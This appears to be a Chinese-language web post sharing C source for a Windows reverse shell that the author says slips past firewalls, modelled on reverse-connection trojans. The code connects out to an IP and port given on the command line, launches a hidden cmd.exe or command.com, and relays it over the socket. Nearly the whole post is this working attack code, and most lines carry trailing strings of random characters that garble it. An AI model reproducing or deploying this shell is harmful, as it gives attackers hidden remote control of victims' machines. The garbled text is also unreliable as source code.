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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jSSEfy>^  
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/* ============================== nW} s  
Rebound port in Windows NT xQ2: tY#?  
By wind,2006/7 CB X}_]9X  
===============================*/ 1 +Ue m  
#include 1J72*`4OK  
#include *H i}FI  
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#pragma comment(lib,"wsock32.lib") >t<\zC|~w  
r6R@"1/  
void OutputShell(); c-v-U O%  
SOCKET sClient; RehraY3q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B=$O4nW_b  
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void main(int argc,char **argv) $7ix(WL<%  
{ lD, ~%  
WSADATA stWsaData; "vT$?IoEV  
int nRet; ?D6|~k i  
SOCKADDR_IN stSaiClient,stSaiServer; i(OeE"YA  
6B%  h  
if(argc != 3) !A1~{G2VL_  
{ ? |#dGk g  
printf("Useage:\n\rRebound DestIP DestPort\n"); $PI9vyS  
return; 1D3 8T  
} |2%|=   
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WSAStartup(MAKEWORD(2,2),&stWsaData); Fi;H   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !%D';wQ,/  
!nvg:$.&  
stSaiClient.sin_family = AF_INET; x}nBU q:  
stSaiClient.sin_port = htons(0); @g4o8nH}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *nHuGla  
3!osQ1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {y a .  
{ pkae91  
printf("Bind Socket Failed!\n"); 6}?d%K  
return; p:K%-^  
} 4obW>  
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stSaiServer.sin_family = AF_INET; #r]Z2Y]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .)_2AoT7[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~#jiX6<I  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zA8@'`Id  
{ wpN3-D  
printf("Connect Error!"); fISK3t/=C  
return; _ilitwRN3  
} UAT\ .  
OutputShell(); lgS7;  
} 1YJ?Y  
biU_ImJ>0  
void OutputShell() |Tc4a4jS  
{ zL9~gJ  
char szBuff[1024]; $+_1F`  
SECURITY_ATTRIBUTES stSecurityAttributes; fK+ 5   
OSVERSIONINFO stOsversionInfo; KYtCN+vsG  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <R;wa@a>  
STARTUPINFO stStartupInfo; _^NaP  
char *szShell; 6% ofS8 [  
PROCESS_INFORMATION stProcessInformation; E:ci/09wD  
unsigned long lBytesRead; "C\yM{JZ  
FRZ]E)9Z]b  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {_\cd.AuT  
ruvfp_:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R-9o 3TPa  
stSecurityAttributes.lpSecurityDescriptor = 0; m7g*zu2#  
stSecurityAttributes.bInheritHandle = TRUE; GT)7VFrL  
@$n $f  
!CcDA/0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yDKH;o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7/51_=%kR  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $x+7.%1m)~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NWvIwt{  
stStartupInfo.wShowWindow = SW_HIDE; _<FUS'"  
stStartupInfo.hStdInput = hReadPipe; ThgJ '  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G^#>HE|  
?z#*eoPr  
GetVersionEx(&stOsversionInfo); NRJp8G Z%U  
DE?k|Get2  
switch(stOsversionInfo.dwPlatformId) Qd kus 214  
{ QfAmGDaYQ  
case 1: _^#eO`4"  
szShell = "command.com";  IPK1g3Z  
break; xh$yXP0/  
default: wCg7JW#  
szShell = "cmd.exe"; $%MgIy  
break; 2O Ur">_  
} R|M]mwa^w  
69)"T{7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &Wcz~Gx3Q  
Se'SDJl=  
send(sClient,szMsg,77,0); 4n6AK`E  
while(1) =<3HOOC  
{ b7dsi|Yo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1Ub=RyB  
if(lBytesRead) k}H7bZug  
{ aH?Ygzw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <_<zrXc]  
send(sClient,szBuff,lBytesRead,0); g"5Kth  
}  P>iZ gv  
else eG!ma`v  
{  ^AaE$G&:  
lBytesRead=recv(sClient,szBuff,1024,0); *)-@'{]uB  
if(lBytesRead<=0) break; 452kE@=49  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LdG?kbJ&y  
} \WFcb\..  
} XZARy:+bc  
bRy(`  
return; q%])dZ!lE  
}
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